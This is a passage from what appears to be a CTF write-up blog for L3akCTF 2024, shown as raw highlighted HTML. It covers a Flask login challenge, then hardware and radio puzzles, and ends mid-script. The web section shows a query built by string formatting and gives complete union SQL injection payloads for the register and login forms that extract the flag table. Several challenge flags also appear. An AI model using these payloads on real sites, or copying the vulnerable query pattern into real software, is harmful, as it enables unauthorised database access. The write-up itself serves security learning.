class="o">=</span><span class="n">email</span><span class="p">)</span> 603 <span class="k">return</span> <span class="n">redirect</span><span class="p">(</span><span class="n">url_for</span><span class="p">(</span><span class="s">'login'</span><span class="p">))</span> 604 605<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/logout'</span><span class="p">)</span> 606<span class="k">def</span> <span class="nf">logout</span><span class="p">():</span> 607 <span class="n">session</span><span class="p">.</span><span class="n">pop</span><span class="p">(</span><span class="s">'username'</span><span class="p">,</span> <span class="bp">None</span><span class="p">)</span> 608 <span class="k">return</span> <span class="n">redirect</span><span class="p">(</span><span class="n">url_for</span><span class="p">(</span><span class="s">'login'</span><span class="p">))</span> 609 610<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span> 611 <span class="n">app</span><span class="p">.</span><span class="n">run</span><span class="p">()</span> 612 613</code></pre></div></div> 614 615<p>The name of the challenge aims for SQL injection, the relevant parts of the code are (check the code for comments I did):</p> 616 617<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code> 618<span class="c1"># The flag is on the DB: 619</span><span class="n">FLAG</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">getenv</span><span class="p">(</span><span class="s">'FLAG'</span><span class="p">)</span> 620 621<span class="k">def</span> <span class="nf">init_db</span><span class="p">():</span> 622 <span class="n">conn</span> <span class="o">=</span> <span class="n">sqlite3</span><span class="p">.</span><span class="n">connect</span><span class="p">(</span><span class="s">'l3ak.db'</span><span class="p">)</span> 623 <span class="n">cursor</span> <span class="o">=</span> <span class="n">conn</span><span class="p">.</span><span class="n">cursor</span><span class="p">()</span> 624 <span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="s">''' 625 CREATE TABLE IF NOT EXISTS users ( 626 id INTEGER PRIMARY KEY, 627 username TEXT NOT NULL, 628 email TEXT NOT NULL, 629 password TEXT NOT NULL 630 ) 631 '''</span><span class="p">)</span> 632 <span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="s">''' 633 CREATE TABLE IF NOT EXISTS flags ( 634 id INTEGER PRIMARY KEY, 635 flag TEXT NOT NULL 636 ) 637 '''</span><span class="p">)</span> 638 <span class="n">conn</span><span class="p">.</span><span class="n">commit</span><span class="p">()</span> 639 <span class="n">conn</span><span class="p">.</span><span class="n">close</span><span class="p">()</span> 640 641<span class="c1">########### SNIP 642</span> 643<span class="c1"># On the registration there is no injection on the username 644</span><span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/register'</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s">'GET'</span><span class="p">,</span> <span class="s">'POST'</span><span class="p">])</span> 645<span class="k">def</span> <span class="nf">register</span><span class="p">():</span> 646 <span class="k">if</span> <span class="n">request</span><span class="p">.</span><span class="n">method</span> <span class="o">==</span> <span class="s">'POST'</span><span class="p">:</span>
647 <span class="n">username</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">[</span><span class="s">'username'</span><span class="p">]</span> 648 <span class="n">email</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">[</span><span class="s">'email'</span><span class="p">]</span> 649 <span class="n">password</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">[</span><span class="s">'password'</span><span class="p">]</span> 650 <span class="n">conn</span> <span class="o">=</span> <span class="n">get_db_connection</span><span class="p">()</span> 651 <span class="n">cursor</span> <span class="o">=</span> <span class="n">conn</span><span class="p">.</span><span class="n">cursor</span><span class="p">()</span> 652 <span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="s">'SELECT username FROM users WHERE username = ?'</span><span class="p">,</span> <span class="p">(</span><span class="n">username</span><span class="p">,))</span> 653 <span class="n">existing_user</span> <span class="o">=</span> <span class="n">cursor</span><span class="p">.</span><span class="n">fetchone</span><span class="p">()</span> 654 <span class="k">if</span> <span class="n">existing_user</span><span class="p">:</span> 655 <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'register.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Username already exists'</span><span class="p">)</span> 656 <span class="n">add_user</span><span class="p">(</span><span class="n">username</span><span class="p">,</span> <span class="n">email</span><span class="p">,</span> <span class="n">password</span><span class="p">)</span> 657 <span class="k">return</span> <span class="n">redirect</span><span class="p">(</span><span class="n">url_for</span><span class="p">(</span><span class="s">'login'</span><span class="p">))</span> 658 <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'register.html'</span><span class="p">)</span> 659 660<span class="c1">############# SNIP 661</span> 662<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/login'</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s">'GET'</span><span class="p">,</span> <span class="s">'POST'</span><span class="p">])</span> 663<span class="k">def</span> <span class="nf">login</span><span class="p">():</span> 664 <span class="k">if</span> <span class="n">request</span><span class="p">.</span><span class="n">method</span> <span class="o">==</span> <span class="s">'POST'</span><span class="p">:</span> 665 <span class="k">try</span><span class="p">:</span> 666 <span class="n">username</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">[</span><span class="s">'username'</span><span class="p">]</span> 667 <span class="n">password</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">[</span><span class="s">'password'</span><span class="p">]</span> 668 <span class="n">conn</span> <span class="o">=</span> <span class="n">get_db_connection</span><span class="p">()</span> 669 <span class="n">cursor</span> <span class="o">=</span> <span class="n">conn</span><span class="p">.</span><span class="n">cursor</span><span class="p">()</span> 670 <span class="c1"># Here we have the injection point for SQL 671</span> <span class="n">cursor</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="sa">f</span><span class="s">'SELECT username,email,password FROM users WHERE username ="</span><span class="si">{</span><span class="n">username</span><span class="si">}</span><span class="s">"'</span><span class="p">)</span>
672 <span class="n">user</span> <span class="o">=</span> <span class="n">cursor</span><span class="p">.</span><span class="n">fetchone</span><span class="p">()</span> 673 <span class="n">conn</span><span class="p">.</span><span class="n">close</span><span class="p">()</span> 674 <span class="k">if</span> <span class="n">user</span> <span class="ow">and</span> <span class="n">user</span><span class="p">[</span><span class="s">'username'</span><span class="p">]</span> <span class="o">==</span> <span class="n">username</span> <span class="ow">and</span> <span class="n">user</span><span class="p">[</span><span class="s">'password'</span><span class="p">]</span> <span class="o">==</span> <span class="n">hash_password</span><span class="p">(</span><span class="n">password</span><span class="p">):</span> 675 <span class="n">session</span><span class="p">[</span><span class="s">'username'</span><span class="p">]</span> <span class="o">=</span> <span class="n">user</span><span class="p">[</span><span class="s">'username'</span><span class="p">]</span> 676 <span class="c1"># Here, there email is taken from the query to the session 677</span> <span class="n">session</span><span class="p">[</span><span class="s">'email'</span><span class="p">]</span> <span class="o">=</span> <span class="n">user</span><span class="p">[</span><span class="s">'email'</span><span class="p">]</span> 678 <span class="k">return</span> <span class="n">redirect</span><span class="p">(</span><span class="n">url_for</span><span class="p">(</span><span class="s">'dashboard'</span><span class="p">))</span> 679 <span class="k">else</span><span class="p">:</span> 680 <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Invalid username or password'</span><span class="p">)</span> 681 <span class="k">except</span><span class="p">:</span> 682 <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="s">'Invalid username or password'</span><span class="p">)</span> 683 <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">)</span> 684 685<span class="c1">############ SNIP 686</span> 687<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/dashboard'</span><span class="p">)</span> 688<span class="k">def</span> <span class="nf">dashboard</span><span class="p">():</span> 689 <span class="k">if</span> <span class="s">'username'</span> <span class="ow">in</span> <span class="n">session</span><span class="p">:</span> 690 <span class="n">username</span> <span class="o">=</span> <span class="n">session</span><span class="p">[</span><span class="s">'username'</span><span class="p">]</span> 691 <span class="c1"># The email is taken from the DB, to the session and then rendered to the template 692</span> <span class="n">email</span> <span class="o">=</span> <span class="n">session</span><span class="p">[</span><span class="s">'email'</span><span class="p">]</span> 693 <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'dashboard.html'</span><span class="p">,</span> <span class="n">user</span><span class="o">=</span><span class="n">username</span><span class="p">,</span><span class="n">email</span><span class="o">=</span><span class="n">email</span><span class="p">)</span> 694 <span class="k">return</span> <span class="n">redirect</span><span class="p">(</span><span class="n">url_for</span><span class="p">(</span><span class="s">'login'</span><span class="p">))</span> 695</code></pre></div></div> 696 697<p>On the username we can go for a blind boolean injection, but no brute-force is allowed. The idea as spoiled in the code, is to make a <a href="https://portswigger.net/web-security/sql-injection/union-attacks">union SQL injection</a> and return the <strong>flag</strong> on the query on the <strong>email</strong> position so it gets loaded into the session and rendered in the HTML. The issue is the following check after the injection. The code checks if username from the POST request payload is equal to the username taken from the DB, and that is not possible with only one payload (if I think it twice, I believe itâs possible with the wildcards). Letâs break it down:</p> 698 699<p>Imagine we have the following payload:</p> 700 701<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">username</span><span class="o">=</span>wee<span class="s2">"+union+select+"</span>wee<span class="s2">",flag,"</span>wee<span class="s2">"+from+flags--&password=wee 702</span></code></pre></div></div> 703<p>The username from the POST will be: 704<em>**_weeâ+union+select+âweeâ,flag,âweeâ+from+flagsâ</em></p> 705 706<p>The username from the SQL Query with the injection is: 707<em>wee</em></p> 708 709<p>That is not equal, but if we try to rebuild the username in the DB, we get into an infinite loop, since we have to insert the payload within the payload, i.e. P != P+P. So the solution is to use the wildcard on the DB, using for example <em>LIKE âwee%â</em>. We use INNER JOIN to take the <strong>username</strong> and the <strong>password</strong> from <strong>users</strong> table and the <strong>flag</strong> from the <strong>flags</strong> table:</p> 710 711<p>We send the following payload on register. We have to use the hash of the dummy password âtttâ since the code does not work as expected, I suppose:</p> 712 713<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">#</span> <span class="n">Register</span> 714<span class="o">##</span> <span class="n">Payload</span> 715<span class="n">username</span><span class="o">=</span><span class="n">ittt</span><span class="nv">"+union+select+username,flag,"</span><span class="mi">9990775155</span><span class="n">c3518a0d7917f7780b24aa</span><span class="nv">"+from+users+inner+join+flags+on+username+like+"</span><span class="n">ittt</span><span class="o">%</span><span class="nv">"--&email=wee%40wee.com&password=ttt 716</span></code></pre></div></div> 717 718<p>And on the login endpoint we send the following payload:</p> 719 720<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">#</span> <span class="n">Login</span> 721<span class="o">##</span> <span class="n">Target</span> <span class="n">query</span> 722<span class="k">SELECT</span> <span class="n">username</span><span class="p">,</span><span class="n">email</span><span class="p">,</span><span class="n">password</span> <span class="k">FROM</span> <span class="n">users</span> <span class="k">WHERE</span> <span class="n">username</span> <span class="o">=</span><span class="nv">"ittt"</span> <span class="k">UNION</span> 723 <span class="k">SELECT</span> <span class="n">username</span><span class="p">,</span><span class="n">flag</span><span class="p">,</span><span class="nv">"9990775155c3518a0d7917f7780b24aa"</span> <span class="k">FROM</span> <span class="n">USERS</span> 724 <span class="k">INNER</span> <span class="k">JOIN</span> <span class="n">flags</span> <span class="k">on</span> <span class="n">USERNAME</span> <span class="k">LIKE</span> <span class="nv">"ittt%"</span> 725<span class="o">##</span> <span class="n">Payload</span> 726<span class="n">username</span><span class="o">=</span><span class="n">ittt</span><span class="nv">"+union+select+username,flag,"</span><span class="mi">9990775155</span><span class="n">c3518a0d7917f7780b24aa</span><span class="nv">"+from+users+inner+join+flags+on+username+like+"</span><span class="n">ittt</span><span class="o">%</span><span class="nv">"--&password=ttt 727</span></code></pre></div></div> 728<p>Register the auxiliary username. The user is stored as it is since it is a query statement and quotes are escaped:</p> 729 730<p align="center"> 731 <img src="/images/writeups/L3akCTF2024/2_3_register.png" width="70%" /> 732</p> 733 734<p>Make the login with the username injection and retrieve the flag in the email field on the session:</p> 735 736<p align="center"> 737 <img src="/images/writeups/L3akCTF2024/2_4_redirect.png" width="70%" /> 738</p> 739 740<p>Once logged in, the flag is in the email:</p> 741 742<p align="center"> 743 <img src="/images/writeups/L3akCTF2024/2_5_flag.png" width="70%" /> 744</p> 745 746<p>Maybe, I overcomplicated the challenge, but yeah, thatâs me!</p> 747 748<p><code class="language-plaintext highlighter-rouge">L3ak{__V3RY_B4S1C_SQLI}</code></p> 749 750<p><br /></p> 751 752<hr /> 753 754<p><br /></p> 755 756<h1 id="hardware-1">Hardware</h1> 757 758<h2 id="layout---90-solves">Layout - [90 solves]</h2> 759<p>477 760baby hardware 761I was drawing some metal layers for my integrated circuit layout, when I noticed some of them looked a little weirdâ¦</p> 762 763<p><em>Author: Suvoni</em></p> 764 765<p>We have a layout.GDS so I used a <a href="https://layouteditor.com/">Layout Editor</a> to load the file and we have the flag inside:</p> 766 767<p align="center"> 768 <img src="/images/writeups/L3akCTF2024/hw_1.png" width="70%" /> 769</p> 770 771<p><code class="language-plaintext highlighter-rouge">L3AK{w3LcoM3_To_HArDw4R3!}</code></p> 772 773<p><br /></p> 774 775<h2 id="celestial---28-solves">Celestial - [28 solves]</h2> 776<p>496 777radio 778Weâve received this file over the cosmic network at our headquarters. No idea what they tried to tell us, c
778an you help ?</p> 779 780<p><em>Author: 0x157</em></p> 781 782<p>We have the following audio file:</p> 783 784<div align="center"> 785 <audio controls=""> 786 <source src="/images/writeups/L3akCTF2024/attachment.wav" type="audio/wav" /> 787 Your browser does not support the audio element. 788 </audio> 789</div> 790 791<p>From experience, this sounds like <a href="https://en.wikipedia.org/wiki/Slow-scan_television">SSTV</a>. If you donât know what is it, check it out because it is outstanding old technology.</p> 792 793<p>I used <a href="https://www.qsl.net/on6mu/rxsstv.htm">RX-SSTV</a> and since Iâm lazy, I placed the microphone next to the speaker and render the image:</p> 794 795<p align="center"> 796 <img src="/images/writeups/L3akCTF2024/hw_2.png" width="60%" /> 797</p> 798 799<p><code class="language-plaintext highlighter-rouge">L3AK{SsTV_k1nd4_c00l!}</code></p> 800 801<h2 id="communication-gateway---9-solves">Communication Gateway - [9 solves]</h2> 802<p>498 803radio 804Something is in-front of you, and you donât even know it.</p> 805 806<p><em>Author: 0x157</em></p> 807 808<p>We have the following attachment audio file:</p> 809 810<div align="center"> 811 <audio controls=""> 812 <source src="/images/writeups/L3akCTF2024/file10.wav" type="audio/wav" /> 813 Your browser does not support the audio element. 814 </audio> 815</div> 816 817<p>Again from experience, the sound is modem tones. We can use <a href="http://www.whence.com/minimodem/">minimodem</a> to decode it, but we need to set the baudmode. I took a guess over the filename and it worked, I tried Bell-like with 10_N baudmode:</p> 818 819<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>minimodem <span class="nt">-h</span> 820minimodem: invalid option <span class="nt">--</span> <span class="s1">'h'</span> 821usage: minimodem <span class="o">[</span><span class="nt">--tx</span>|--rx] <span class="o">[</span>options] <span class="o">{</span>baudmode<span class="o">}</span> 822 <span class="nt">-t</span>, <span class="nt">--tx</span>, <span class="nt">--transmit</span>, <span class="nt">--write</span> 823 <span class="nt">-r</span>, <span class="nt">--rx</span>, <span class="nt">--receive</span>, <span class="nt">--read</span> <span class="o">(</span>default<span class="o">)</span> 824 <span class="o">[</span>options] 825 826 <span class="o">{</span>baudmode<span class="o">}</span> 827 any_number_N Bell-like N bps <span class="nt">--ascii</span> 828 1200 Bell202 1200 bps <span class="nt">--ascii</span> 829 300 Bell103 300 bps <span class="nt">--ascii</span> 830 rtty RTTY 45.45 bps <span class="nt">--baudot</span> <span class="nt">--stopbits</span><span class="o">=</span>1.5 831 tdd TTY/TDD 45.45 bps <span class="nt">--baudot</span> <span class="nt">--stopbits</span><span class="o">=</span>2.0 832 same NOAA SAME 520.83 bps <span class="nt">--sync-byte</span><span class="o">=</span>0xAB ... 833 callerid Bell202 CID 1200 bps 834 uic<span class="o">{</span><span class="nt">-train</span>,-ground<span class="o">}</span> UIC-751-3 Train/Ground 600 bps 835 836<span class="c"># Solution</span> 837 838minimodem <span class="nt">-f</span> file10.wav 10_N 839<span class="c">### CARRIER 10.00 @ 1590.0 Hz ###</span> 840L3AK<span class="o">{</span>s1gn4ls_0f_h0p3<span class="o">}</span> 841 842<span class="c">### NOCARRIER ndata=22 confidence=33.694 ampl=0.636 bps=10.00 (rate perfect) ###</span> 843</code></pre></div></div> 844 845<p><code class="language-plaintext highlighter-rouge">L3AK{s1gn4ls_0f_h0p3}</code></p> 846 847<p><br /></p> 848 849<h2 id="exorbitant---12-solves">eXORbitant - [12 solves]</h2> 850<p>495 851hardware 852What is this circuit doing to the flag?</p> 853 854<p><em>Author: Suvoni</em></p> 855 856<p>We have the following XOR circuit provided in the attachment ZIP file. We can open the file with <a href="http://www.cburch.com/logisim/">Logisim</a>:</p> 857 858<p align="center"> 859 <img src="/images/writeups/L3akCTF2024/hw_33.png" width="70%" /> 860</p> 861 862<p>On the challenge attachments, we can see the RAM output from the circuit:</p> 863 864<p align="center"> 865 <img src="/images/writeups/L3akCTF2024/hw_333.png" width="70%" /> 866</p> 867 868<p>I created the following bruteforce script, following the XOR gates schema and setting the input lanes on the different gates. The idea is to bruteforce the input so we get the RAM output:</p> 869 870<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">
870import</span> <span class="nn">time</span> 871<span class="kn">import</span> <span class="nn">itertools</span> 872<span class="kn">from</span> <span class="nn">tqdm</span> <span class="kn">import</span> <span class="n">tqdm</span> 873 874<span class="c1"># Create the bruteforce inputs, 16 bit length 0000000000000000 - 1111111111111111 875</span><span class="n">ls</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">itertools</span><span class="p">.</span><span class="n">product</span><span class="p">([</span><span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">],</span> <span class="n">repeat</span><span class="o">=</span><span class="mi">16</span><span class="p">))</span> 876<span class="n">lst</span> <span class="o">=</span> <span class="p">[]</span> 877<span class="k">for</span> <span class="n">l</span> <span class="ow">in</span> <span class="n">ls</span><span class="p">:</span> 878 <span class="n">lst</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="nb">map</span><span class="p">(</span><span class="nb">str</span><span class="p">,</span> <span class="n">l</span><span class="p">)))</span> 879 880<span class="c1"># Gates inputs. Ie. gate 5 has inputs: 11,10,7,2 881</span><span class="n">gates</span> <span class="o">=</span> <span class="p">{</span> 882 <span class="s">"15"</span><span class="p">:</span> <span class="p">[</span><span class="mi">15</span><span class="p">,</span><span class="mi">13</span><span class="p">,</span><span class="mi">10</span><span class="p">,</span><span class="mi">9</span><span class="p">,</span><span class="mi">7</span><span class="p">,</span><span class="mi">6</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">1</span><span class="p">],</span> 883 <span class="s">"14"</span><span class="p">:</span> <span class="p">[</span><span class="mi">15</span><span class="p">,</span><span class="mi">14</span><span class="p">,</span><span class="mi">9</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">1</span><span class="p">],</span> 884 <span class="s">"13"</span><span class="p">:</span> <span class="p">[</span><span class="mi">14</span><span class="p">,</span><span class="mi">13</span><span class="p">,</span><span class="mi">12</span><span class="p">,</span><span class="mi">11</span><span class="p">,</span><span class="mi">10</span><span class="p">,</span><span class="mi">9</span><span class="p">,</span><span class="mi">7</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">1</span><span class="p">],</span> 885 <span class="s">"12"</span><span class="p">:</span> <span class="p">[</span><span class="mi">15</span><span class="p">,</span><span class="mi">14</span><span class="p">,</span><span class="mi">13</span><span class="p">,</span><span class="mi">12</span><span class="p">,</span><span class="mi">11</span><span class="p">,</span><span class="mi">8</span><span class="p">,</span><span class="mi">6</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">3</span><span class="p">],</span> 886 <span class="s">"11"</span><span class="p">:</span> <span class="p">[</span><span class="mi">12</span><span class="p">,</span><span class="mi">11</span><span class="p">,</span><span class="mi">10</span><span class="p">,</span><span class="mi">6</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">1</span><span class="p">],</span> 887 <span class="s">"10"</span><span class="p">:</span> <span class="p">[</span><span class="mi">15</span><span class="p">,</span><span class="mi">11</span><span class="p">,</span><span class="mi">9</span><span class="p">,</span><span class="mi">6</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">0</span><span class="p">],</span> 888 <span class="s">
888"9"</span><span class="p">:</span> <span class="p">[</span><span class="mi">14</span><span class="p">,</span><span class="mi">10</span><span class="p">,</span><span class="mi">9</span><span class="p">,</span><span class="mi">8</span><span class="p">,</span><span class="mi">7</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">],</span> 889 <span class="s">"8"</span><span class="p">:</span> <span class="p">[</span><span class="mi">11</span><span class="p">,</span><span class="mi">10</span><span class="p">,</span><span class="mi">9</span><span class="p">,</span><span class="mi">8</span><span class="p">,</span><span class="mi">7</span><span class="p">,</span><span class="mi">6</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">0</span><span class="p">],</span> 890 <span class="s">"7"</span><span class="p">:</span> <span class="p">[</span><span class="mi">15</span><span class="p">,</span><span class="mi">14</span><span class="p">,</span><span class="mi">12</span><span class="p">,</span><span class="mi">11</span><span class="p">,</span><span class="mi">9</span><span class="p">,</span><span class="mi">8</span><span class="p">,</span><span class="mi">7</span><span class="p">,</span><span class="mi">6</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">0</span><span class="p">],</span> 891 <span class="s">"6"</span><span class="p">:</span> <span class="p">[</span><span class="mi">15</span><span class="p">,</span><span class="mi">13</span><span class="p">,</span><span class="mi">12</span><span class="p">,</span><span class="mi">10</span><span class="p">,</span><span class="mi">9</span><span class="p">,</span><span class="mi">8</span><span class="p">,</span><span class="mi">6</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">],</span> 892 <span class="s">"5"</span><span class="p">:</span> <span class="p">[</span><span class="mi">11</span><span class="p">,</span><span class="mi">10</span><span class="p">,</span><span class="mi">7</span><span class="p">,</span><span class="mi">2</span><span class="p">],</span> 893 <span class="s">"4"</span><span class="p">:</span> <span class="p">[</span><span class="mi">14</span><span class="p">,</span><span class="mi">7</span><span class="p">,</span><span class="mi">6</span><span class="p">,</span><span class="mi">3</span><span class="p">],</span> 894 <span class="s">"3"</span><span class="p">:</span> <span class="p">[</span><span class="mi">15</span><span class="p">,</span><span class="mi">14</span><span class="p">,</span><span class="mi">13</span><span class="p">,</span><span class="mi">12</span><span class="p">,</span><span class="mi">11</span><span class="p">,</span><span class="mi">10</span><span class="p">,</span><span class="mi">9</span><span class="p">,</span><span class="mi">8</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">0</span><span class="p">],</span> 895 <span class="s">"2"</span><span class="p">:</span> <span class="p">[</span><span class="mi">15</span><span class="p">,</span><span class="mi">13</span><span class="p">,</span><span class="mi">7</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">],</span> 896 <span class="s">"1"</span><span class="p">:</span> <span class="p">[</span><span class="mi">15</span><span class="p">,</span><span class="mi">14</span><span class="p">,</span><span class="mi">11</span><span class="p">,</span><span class="mi">9</span><span class="p">,</span><span class="mi">7</span><span class="p">,</span><span class="mi">6</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">],</span> 897 <span class="s">"0"</span><span class="p">:</span> <span class="p">[</span><span class="mi">14</span><span class="p">,</span><span class="mi">13</span><span class="p">,</span><span class="mi">12</span><span class="p">,</span><span class="mi">11</span><span class="p">,</span><span class="mi">9</span><span class="p">,</span><span class="mi">7</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">2</span><span class="p">]</span> 898<span class="p">}</span> 899 900<span class="n">gate_status</span> <span class="o">=</span> <span class="p">{}</span> 901 902<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">16</span><span class="p">):</span> 903 <span class="n">gate_status</span><span class="p">[</span><span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">)]</span> <span class="o">=</span> <span class="mi">0</span> 904 905<span class="c1"># The challenge provide us with the following cypher codes: 906</span><span class="n">cipher</span> <span class="o">=</span> <span class="p">[</span><span class="s">"8094"</span><span class="p">,</span><span class="s">"6514"</span><span class="p">,</span><span class="s">"e9f3"</span><span class="p">,</span><span class="s">"cc9b"</span><span class="p">,</span><span class="s">"a618"</span><span class="p">,</span><span class="s">"f075"</span><span class="p">,</span><span class="s">"eae8"</span><span class="p">,</span><span class="s">
906"30db"</span><span class="p">,</span><span class="s">"899f"</span><span class="p">,</span><span class="s">"6c8d"</span><span class="p">,</span><span class="s">"4bf2"</span><span class="p">,</span><span class="s">"34eb"</span><span class="p">,</span><span class="s">"30db"</span><span class="p">,</span><span class="s">"b53a"</span><span class="p">,</span><span class="s">"c777"</span><span class="p">,</span><span class="s">"0d65"</span><span class="p">]</span> 907<span class="n">finals</span> <span class="o">=</span> <span class="p">[]</span> 908 909<span class="c1"># Method to test if the if the input generates the cipher_bin 910</span><span class="k">def</span> <span class="nf">test_gates</span><span class="p">(</span><span class="n">trying</span><span class="p">,</span> <span class="n">cipher_bin</span><span class="p">):</span> 911 912 <span class="k">for</span> <span class="n">g</span> <span class="ow">in</span> <span class="n">gates</span><span class="p">:</span> 913 <span class="n">pos</span> <span class="o">=</span> <span class="mi">15</span> 914 <span class="n">gate</span> <span class="o">=</span> <span class="mi">0</span> 915 <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">trying</span><span class="p">:</span> 916 <span class="k">if</span> <span class="nb">int</span><span class="p">(</span><span class="n">i</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span> <span class="ow">and</span> <span class="n">pos</span> <span class="ow">in</span> <span class="n">gates</span><span class="p">[</span><span class="n">g</span><span class="p">]:</span> 917 <span class="n">gate</span><span class="o">+=</span><span class="mi">1</span> 918 <span class="n">pos</span><span class="o">-=</span><span class="mi">1</span> 919 920 <span class="k">if</span> <span class="n">gate</span> <span class="o">%</span> <span class="mi">2</span><span class="p">:</span> 921 <span class="n">gate_status</span><span class="p">[</span><span class="n">g</span><span class="p">]</span> <span class="o">=</span> <span class="mi">1</span> 922 <span class="k">else</span><span class="p">:</span> 923 <span class="n">gate_status</span><span class="p">[</span><span class="n">g</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span> 924 925 926 <span class="k">if</span> <span class="nb">str</span><span class="p">(</span><span class="n">cipher_bin</span><span class="p">[</span><span class="mi">15</span><span class="o">-</span><span class="nb">int</span><span class="p">(</span><span class="n">g</span><span class="p">)])</span> <span class="o">!=</span> <span class="nb">str</span><span class="p">(</span><span class="n">gate_status</span><span class="p">[</span><span class="n">g</span><span class="p">]):</span> 927 <span class="k">return</span> <span class="bp">False</span> 928 929 <span class="k">return</span> <span class="bp">True</span> 930 931<span class="n">h</span> <span class="o">=</span> <span class="s">""</span> 932<span class="c1"># Go for each input and bruteforce it 933</span><span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">cipher</span><span class="p">:</span> 934 <span class="n">cipher_bin</span> <span class="o">=</span> <span class="nb">bin</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="mi">16</span><span class="p">
